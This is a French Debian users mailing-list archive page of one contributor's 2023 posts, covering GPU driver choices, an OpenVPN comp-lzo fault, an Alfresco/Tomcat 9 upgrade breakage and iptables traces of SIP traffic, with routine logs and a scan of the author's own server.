> NVIDIA, d'après tout ce je lis, semblent être les plus performantes.
> Là j'envisage de changer de PC car il commence à atteindre ses limites,
> et en cherchant un peu je vois que le support des nouvelles cartes Intel
> ARC semble être foireux, que le support des AMD semble bon et libre mais
> que côté perf ce n'est pas encore ça et au final NVIDIA et devant tout
> le monde mais avec des pilotes proprio. :(

Franchement, j'aimerais bien savoir ce qu'on reproche aux cartes AMD.
J'ai un truc comme ça pour faire de la CAO (bi écran) sur un i9, ça
tient vraiment bien la route, même pour des jeux en 3D :

01:00.0 VGA compatible controller: Advanced Micro Devices, Inc.
[AMD/ATI] Ellesmere [Radeon RX 470/480/570/570X/580/580X/590] (rev ef)
(prog-if 00 [VGA controller])
Subsystem: ASUSTeK Computer Inc. Ellesmere [Radeon RX
470/480/570/570X/580/580X/590]
Flags: bus master, fast devsel, latency 0, IRQ 132
Memory at 42 (64-bit, prefetchable) [size=8G]
Memory at 41 (64-bit, prefetchable) [size=2M]
I/O ports at 4000 [size=256]
Memory at a020 (32-bit, non-prefetchable) [size=256K]
Expansion ROM at 000c [disabled] [size=128K]
Capabilities: [48] Vendor Specific Information: Len=08 
Capabilities: [50] Power Management version 3
Capabilities: [58] Express Legacy Endpoint, MSI 00
Capabilities: [a0] MSI: Enable+ Count=1/1 Maskable- 64bit+
Capabilities: [100] Vendor Specific Information: ID=0001 Rev=1
Len=010 
Capabilities: [150] Advanced Error Reporting
Capabilities: [200] Physical Resizable BAR
Capabilities: [270] Secondary PCI Express
Capabilities: [2b0] Address Translation Service (ATS)
Capabilities: [2c0] Page Request Interface (PRI)
Capabilities: [2d0] Process Address Space ID (PASID)
Capabilities: [320] Latency Tolerance Reporting
Capabilities: [328] Alternative Routing-ID Interpretation (ARI)
Capabilities: [370] L1 PM Substates
Kernel driver in use: amdgpu
Kernel modules: amdgpu



Re: [testing] passage du pilote proprio à nouveau

2023-09-13 Par sujet BERTRAND Joël
ajh-valmer a écrit :
> On Tuesday 12 September 2023 23:24:24 Gaëtan Perrier wrote:
>> Les pilotes nvidia legacy 390 de sid étant maintenant compatibles avec les
>> kernel jusqu'à 6.5 je suis repassé sur le pilote proprio.
>> Avec nouveau c'était invivable.
> 
> Je n'ai jamais réussi à faire fonctionner correctement un pilote "nouveau".
> Ce sont les pilotes proprio qui fonctionnent vraiment.
> 
> Ce sont les "terroristes libristes" qui imposent d'utiliser que du Libre à 
> 100% mais parfois ce n'est pas possible.

Sans être terroriste libriste, nvidia est un machin qui pose problème
parce qu'au bout d'un certain temps, on se retrouve à devoir utiliser le
pilote libre faute de support. Je boycotte scrupuleusement toutes les
cartes nvidia pour cette raison. Je changerai d'avis sur nvidia le jour
où nvidia daignera fournir les specs de ses cartes.

JKB



Re: Monitorer la connectivité WAN en vue du re-routage

2023-08-26 Par sujet BERTRAND Joël
Michel Verdier a écrit :
> Le 25 août 2023 Olivier a écrit :
> 
>> 1. Connaissez-vous un document qui justifie techniquement ces
>> "questions de sécurité" ?
> 
> La sécurité en vivant caché :) A l'inverse beaucoup de routeurs répondent
> au ping. Si tu fais un traceroute tu le vois bien.

Surtout que bloquer le ping est une très mauvaise idée (problème de
fragmentation, de session...). Personnellement, lorsqu'un fournisseur
m'impose de bloquer le ping ou renâcle, je change de crèmerie. Le ping,
ce n'est pas simplement un protocole permettant de savoir s'il y a un
machine qui répond (d'autant qu'un nmap -P0 fait ça tout aussi bien).
C'est un protocole important.

Bien cordialement,

JB



Re: Serveur OpenVPN

2023-08-25 Par sujet BERTRAND Joël
Trouvé.

C'est l'option comp-lzo qui met le bazar. Je l'avais sur les deux
machines clientes (l'une est sur un accès Wanadoo-Santé de 512 kbps, si,
si, ça existe /encore/), l'autre sur un accès GPRS. Je n'avais pas cette
option côté serveur. Visiblement, jusqu'à la dernière version d'OpenVPN,
le chiffrement asymétrique était autorisé. Là, même en l'autorisant
explicitement, ça ne fonctionnait pas. Donc suppression des deux
comp-lzo sur les clients et ça fonctionne à nouveau.

JKB



Serveur OpenVPN

2023-08-25 Par sujet BERTRAND Joël
Bonjour à tous,

J'ai un petit souci avec un serveur OpenVPN (qui fonctionnait
parfaitement jusqu'ici). Les clients se connectent bien sur le serveur
mais rien ne passe sur l'interface tap0. Je n'ai rien de particulier
dans les sorties d'OpenVPN (même avec verb=10).

Le serveur est sur une machine régulièrement mise à jour. Les clients
vivent leur vie et sont mis à jour nettement moins souvent (ça ne dépend
pas de moi).

Lorsque je lance le serveur, je trouve ceci :

2023-08-25 16:58:39 86.212.205.101:58146 TLS: Initial packet from
[AF_INET]86.212.205.101:58146, sid=b28dac4a 65656374
2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=1, C=FR,
ST=FR, L=Paris, O=Systella, CN=Systella CA,
emailAddress=joel.bertr...@systella.fr
2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=0, C=FR,
ST=FR, L=Paris, O=Systella, CN=cervantes,
emailAddress=joel.bertr...@systella.fr
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_VER=2.4.6
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PLAT=linux
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PROTO=2
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_NCP=2
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4v2=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZO=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUB=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUBv2=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_TCPNL=1
2023-08-25 16:58:40 86.212.205.101:58146 TLS: move_session:
dest=TM_ACTIVE src=TM_INITIAL reinit_src=1
2023-08-25 16:58:40 86.212.205.101:58146 TLS: tls_multi_process: initial
untrusted session promoted to trusted
2023-08-25 16:58:40 86.212.205.101:58146 Control Channel: TLSv1.3,
cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 1024 bit RSA,
signature: RSA-SHA1
2023-08-25 16:58:40 86.212.205.101:58146 [cervantes] Peer Connection
Initiated with [AF_INET]86.212.205.101:58146
2023-08-25 16:58:40 cervantes/86.212.205.101:58146 MULTI_sva: pool
returned IPv4=192.168.2.2, IPv6=(Not enabled)
2023-08-25 16:58:40 cervantes/86.212.205.101:58146 OPTIONS IMPORT:
reading client specific options from: /etc/openvpn/ccd/cervantes
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Data Channel: cipher
'AES-256-GCM', peer-id: 0
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Timers: ping 10,
ping-restart 240
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 PUSH: Received
control message: 'PUSH_REQUEST'
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 SENT CONTROL
[cervantes]: 'PUSH_REPLY,route-gateway 192.168.2.1,ping 10,ping-restart
120,ifconfig 192.168.2.5 255.255.255.0,peer-id 1,cipher AES-256-GCM'
(status=1)
2023-08-25 16:58:51 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:58:56 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:00 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:06 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:10 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:17 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:21 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:26 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:31 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:36 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:41 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:46 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:50 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:57 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:00 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 17:00:07 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:11 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 17:00:17 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:21 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 ->

Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-07 Par sujet BERTRAND Joël
Etienne Vogt a écrit :
> 
> Une possible piste est que tomcat9 a des protections additionnelles par
> rapport à tomcat8, donc si on installe une servlet ailleurs que dans les
> chemins par défaut, il faut autoriser l'accès dans
> /etc/systemd/system/tomcat9.service
> 
> Par ex. pour un IdP Shibboleth sous tomcat9, j'ai du ajouter :
> 
> ReadWritePaths=/opt/shibboleth-idp/logs/
> ReadWritePaths=/opt/shibboleth-idp/metadata/
> 
> pour que cela fonctionne.

Merci de vous être penché sur le sujet. C'était déjà un tomcat9 avec
ces ReadWritePaths. Alfresco est un truc à s'arracher les cheveux lors
de l'installation (je pense que c'est fait pour que les gens prennent le
support payant). Après quelques frayeurs concernant l'intégrité des
données, j'y suis arrivé.

Il y a des chemins qui sont maintenant codés en dur. C'est ça qui pose
problème. Et il ne faut pas oublier de patcher les jar grâce à l'outil
solr (celui fourni par alfresco dans un second package, le jar originel
ne suffit pas). De la même manière, le jodconverter est tout cassé (il
faut filer un chemin sur la ligne de commande qui n'est pas celui qui
est retourné dans l'erreur Java). Sans compter que le solr fourni
demande dans la doc java 8 et qu'il est compilé... pour fonctionner à
partir de la 11.

Je vais essayer d'écrire un tuto sur l'installation d'Alfresco sur
Debian/Devuan.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-06 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 06/07/2023 à 08:26, BERTRAND Joël a écrit :
>> didier gaumet a écrit :
>>> Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai
>>> indiqué semble justement expliquer comment installer et configurer
>>> *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les
>>> chemins, mais pas seulement
>>>
>>> Mais bon, j'ai peut-être rien compris, hein :-)
>>
>> Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne
>> sont pas les classes qui ne sont pas trouvées, mais le fait que ces
>> classes appellent des scripts et des binaires dans le /bin local
>> d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et
>> $CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant
>> l'une des deux variables vers la racine d'installation d'alfresco, ce
>> qui ne fonctionne plus aujourd'hui.
>>
>> En d'autres termes, toutes les classes sont bien trouvées, ce sont
>> les
>> programmes annexes qui manquent à l'appel.
>>
>>
> 
> J'espère que je n'insiste pas de manière déplaisante vu que j'ai peine à
> comprendre globalement ce dont on parle,
> 
> mais ce qui suit (extrait du lien précédent) ne concerne-t-il pas
> justement la configuration dans Tomcat de l'emplacement des classes *et*
> des bibliothèques (je crois comprendre confusément que c'est ce qui te
> manque)?
> 
> [...]
> "
> Create an additional classpath to Tomcat, which will be shared among all
> web applications.
> 
>     Create the directories required for a Content Services installation
> under :
>     Create the shared/classes directory.
>     Create the shared/lib directory.
> 
>     Open the /conf/catalina.properties file.
> 
>     Change the value of the shared.loader= property to the following:
> 
> 
> shared.loader=${catalina.base}/shared/classes,${catalina.base}/shared/lib/*.jar
> 
> "

Si, c'est bien ça. Mais Alfresco utilise aussi une foultitude de
scripts et ça met un bazar sans nom dans les fichiers de conf dont les
chemins sont par défaut CATALINA_HOME.

La seule solution simple, c'est de suivre la doc en question *en
installant alfresco dans /var/lib/tomcat9*. Sinon, alfresco se lance
mais tomcat ne répond plus. Antérieurement, ça fonctionnait pourtant
bien, c'est ce que j'avais installé. Mais depuis la dernière mise à jour
de tomcat, ça coince.

J'en suis à avoir les deux services tomcat share et alfresco qui
tournent, j'arrive à me connecter, mais je n'ai accès à aucun de mes
fichiers. Il me reste un access denied sur un script et je ne vois pas
encore où.

2023-07-06 12:25:10,484  INFO  [web.site.EditionInterceptor]
[ajp-nio-127.0.0.1-8009-exec-1] Successfully retrieved license
information from Alfresco.
 2023-07-06 12:25:12,181  ERROR [extensions.webscripts.AbstractRuntime]
[http-nio-8080-exec-4] Exception from executeScript: 06060040 Access
refusé.  Vous n'avez pas la permission de réaliser cette opération.
org.alfresco.repo.security.permissions.AccessDeniedException: 06060040
Access refusé.  Vous n'avez pas la permission de réaliser cette opération.
at
org.alfresco.repo.security.permissions.impl.ExceptionTranslatorMethodInterceptor.invoke(ExceptionTranslatorMethodInterceptor.java:57)

JB



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-05 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai
> indiqué semble justement expliquer comment installer et configurer
> *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les
> chemins, mais pas seulement
> 
> Mais bon, j'ai peut-être rien compris, hein :-)

Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne
sont pas les classes qui ne sont pas trouvées, mais le fait que ces
classes appellent des scripts et des binaires dans le /bin local
d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et
$CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant
l'une des deux variables vers la racine d'installation d'alfresco, ce
qui ne fonctionne plus aujourd'hui.

En d'autres termes, toutes les classes sont bien trouvées, ce sont les
programmes annexes qui manquent à l'appel.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-05 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Avertissement: si je n'ai pas répondu à ton précédent message c'est que
> je suis totalement inculte sur le sujet
> 
> Y a un paragraphe de la doc Alfresco qui a l'air de s'intéresser aux
> aspects du problème qui t'intéresse (regarde à "classpath"):
> https://docs.alfresco.com/content-services/7.2/install/zip/tomcat/#install-application-server
> 
> 
> désolé si ça ne répond pas à la question tel que tu l'espérais: vu mon
> niveau j'en suis réduit aux conjectures, hein...

Merci de t'être penché sur le sujet. J'avance de mon côté et il y a
plusieurs problèmes qui se superposent. J'ai réussi à relancer Alfresco,
mais il est bancal. J'essayerai de faire une réponse avec la résolution,
mais le problème est côté Tomcat, pas côté Alfresco.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-05 Par sujet BERTRAND Joël
Bonsoir à tous,

Trouvé... Enfin, j'ai trouvé le fautif, mais je ne sais pas trop
comment résoudre le problème.

J'avais galéré pour installer Alfresco et j'avais utilisé la variable

CATALINA_BASE=/opt/alfresco

dans /etc/default/tomcat9. Ça fonctionnait très bien. Sauf que depuis la
dernière mise à jour de tomcat9, ça ne fonctionne plus correctement.
J'ai retiré la variable en question et j'arrive à lancer tomcat sur la
machine.

J'essaie donc de modifier les contexts de tomcat pour réussir à lancer
alfresco en rajoutant un path. Rien n'y fait.

J'ai par exemple ceci :



  

  


Comment rajouter le path là-dedans ? J'ai bien tenté un



  

  


qui renvoie :
GRAVE: Erreur lors du déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/alfresco.xml]
java.lang.IllegalStateException: Erreur lors du démarrage du conteneur fils
Caused by: org.apache.catalina.LifecycleException: Echec de démarrage du
composant [org.apache.catalina.webresources.StandardRoot@d91e8c7]
at
org.apache.catalina.util.LifecycleBase.handleSubClassException(LifecycleBase.java:440)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:198)
at
org.apache.catalina.core.StandardContext.resourcesStart(StandardContext.java:4881)
at
org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5014)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183)
at
org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:726)
... 37 more
Caused by: java.lang.IllegalArgumentException: L'ensemble de ressources
principal [/var/lib/tomcat9/webapps/alfresco] est invalide
at
org.apache.catalina.webresources.StandardRoot.createMainResourceSet(StandardRoot.java:777)
at
org.apache.catalina.webresources.StandardRoot.startInternal(StandardRoot.java:734)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183)
... 41 more

juil. 05, 2023 6:27:56 PM org.apache.catalina.startup.HostConfig
deployDescriptor

Merci de toute idée...

Bien cordialement,

JB



Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-04 Par sujet BERTRAND Joël
Bonjour à tous,

Désolé de polluer comme ça la liste depuis hier, mais je galère sur une
mise à jour de serveur à la suite d'un déménagement d'infrastructure...

J'ai installé il y a plusieurs années un serveur Alfresco, tout d'abord
en version 6.0 puis en version 6.1. Initialement, il tournait avec
Tomcat8 et au fur et à mesure des mises à jour Tomcat9.

J'ai eu beaucoup de mal à avoir un système fonctionnel. Une fois la
configuration faite, je n'y ai plus touché.

Récemment, j'ai fait un dist-upgrade après le percement de sites SPIP.
Depuis, alfresco ne fonctionne plus et j'ai l'impression que le problème
se situe au niveau de Tomcat. Apache, je maîtrise, mais les machins
autour de Java ne sont pas ma tasse de thé.

La configuration de tomcat (que je peux fournir) n'a pas changé. J'ai
naturellement vérifié sur les sauvegardes avec un diff -u.

J'ai l'impression que Tomcat se lance correctement. Un processus Java
mouline durant une minute, le fichier catalina.out semble indiquer que
tout se passe correctement. Seul le connecteur entre Alfresco et
Libreoffice râle si je ne le tue pas à la main avant de relancer Tomcat.

Sauf que je ne peux même pas me connecter sur localhost:8080 pour
interroger directement Tomcat. Pas d'erreur, la requête termine en
timeout. Tomcat semble pourtant commencer à répondre puisqu'il y a des
paquets qui transitent sur le port 8080.

10:38:14.805214 IP legendre.systella.fr.60864 >
rayleigh.systella.fr.http-alt: Flags [.], ack 1, win 4480, options
[nop,nop,TS val 1 ecr 279451], length 0
10:38:14.805471 IP legendre.systella.fr.60864 >
rayleigh.systella.fr.http-alt: Flags [P.], seq 1:469, ack 1, win 4480,
options [nop,nop,TS val 1 ecr 279451], length 468: HTTP: GET / HTTP/1.1
10:38:14.805511 IP rayleigh.systella.fr.http-alt >
legendre.systella.fr.60864: Flags [.], ack 469, win 253, options
[nop,nop,TS val 279452 ecr 1], length 0
^C

J'ai bien mon processus qui tourne :

Root rayleigh:[/etc/tomcat9] > ps auwx | grep tomcat
tomcat   18743  0.0  0.5 667928 96640 ?Sl   juil.02   0:00
/usr/lib/libreoffice/program/soffice.bin
-accept=socket,host=127.0.0.1,port=2022;urp;
-env:UserInstallation=file:///opt/alfresco/tmp/.jodconverter_socket_host-127.0.0.1_port-2022
-headless -nocrashreport -nodefault -nofirststartwizard -nolockcheck
-nologo -norestore
tomcat   30483  7.7  6.6 10155676 1081020 ?Sl   10:09   2:17
/usr/lib/jvm/default-java/bin/java
-Djava.util.logging.config.file=/opt/alfresco/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Dorg.apache.catalina.security.SecurityListener.UMASK=0022
-Dignore.endorsed.dirs= -classpath
/usr/share/tomcat9/bin/bootstrap.jar:/usr/share/tomcat9/bin/tomcat-juli.jar
-Dcatalina.base=/opt/alfresco -Dcatalina.home=/usr/share/tomcat9
-Djava.io.tmpdir=/opt/alfresco/tmp org.apache.catalina.startup.Bootstrap
start

Et le port est bien en écoute :

Root rayleigh:[/etc/tomcat8] > nmap 192.168.1.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 10:39 CEST
...
8080/tcp open  http-proxy
...

Un autre point me semble étrange :
Root rayleigh:[/opt/alfresco/logs] > grep xml catalina.out
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/share.xml]
INFOS: Le traitement du descripteur de déploiement
[/etc/tomcat9/Catalina/localhost/share.xml] a pris [8 087] ms
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/manager.xml]
AVERTISSEMENT: L'attribut path avec la valeur [/manager] dans le
descripteur de déploiement [/etc/tomcat9/Catalina/localhost/manager.xml]
a été ignoré
INFOS: Le traitement du descripteur de déploiement
[/etc/tomcat9/Catalina/localhost/manager.xml] a pris [517] ms
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/alfresco.xml]

Or j'ai plus de descripteurs dans le configuration de Tomcat :
Root rayleigh:[/etc/tomcat9/Catalina/localhost] > ls
alfresco.xml  docs.xml  host-manager.xml  manager.xml  share.xml  solr.xml

Je n'ai aucune trace de ces descripteurs dans le lancement de tomcat.
Aucune erreur.

Je ne sais plus où chercher et suis preneur de toute idée.

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 15:12, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table
>>> nat et filter
>> D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ?
> Tout comme iptables et tcpdump, les paquets sont capturés dès leur
> arrivée. sngrep sait lire du pcap. Si tu regardes les trames INVITE tu
> ne devrais voir aucune réponse de ton asterisk

Effectivement, il n'y a aucune réponse.

Merci pour tout,

JB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table
> nat et filter

D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ?

JB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
Thomas Trupel a écrit :
> C'est un comportement normal à mes yeux.
> 
> L'ajout d'une règle avec la target TRACE devrait te confirmer que les
> paquets sont bloqués par le firewall.

J'obtiens ceci :

2023-07-03T14:37:45.868470+02:00 rayleigh kernel: [705875.038988] TRACE:
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868494+02:00 rayleigh kernel: [705875.039009] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868497+02:00 rayleigh kernel: [705875.039019] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868498+02:00 rayleigh kernel: [705875.039035] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795018+02:00 rayleigh kernel: [706686.983258] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795021+02:00 rayleigh kernel: [706686.983268] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795022+02:00 rayleigh kernel: [706686.983282] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:56:40.474426+02:00 rayleigh kernel: [707009.669233] TRACE:
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474447+02:00 rayleigh kernel: [707009.669262] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474452+02:00 rayleigh kernel: [707009.669274] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474454+02:00 rayleigh kernel: [707009.669289] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)

Où voit-on que ces paquets sont bloqués ?

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
Thomas Trupel a écrit :
> C'est un comportement normal à mes yeux.
> 
> L'ajout d'une règle avec la target TRACE devrait te confirmer que les
> paquets sont bloqués par le firewall.

Dans le cas de SIP, ils sont tout de même récupérés par sngrep :

[ ] 359  INVITE 100@1.1.1.1   100@1.1.1.1
1 64.31.63.27:5166   192.168.15.18:5060 CALL SETUP

donc pas si bloqués que cela ;-)

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
C'est même pire que ça !

Si je fais un nmap depuis l'extérieur sur le serveur en question,
j'obtiens bien :

legendre# nmap 192.168.15.18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:09 CEST
Nmap scan report for 192.168.15.18
Host is up (0.00078s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE  SERVICE
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http
443/tcp  open   https
465/tcp  closed smtps
587/tcp  open   submission
993/tcp  open   imaps
995/tcp  open   pop3s
2401/tcp closed cvspserver
4443/tcp closed pharos
5222/tcp open   xmpp-client
9418/tcp open   git
MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer)

Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds
legendre#

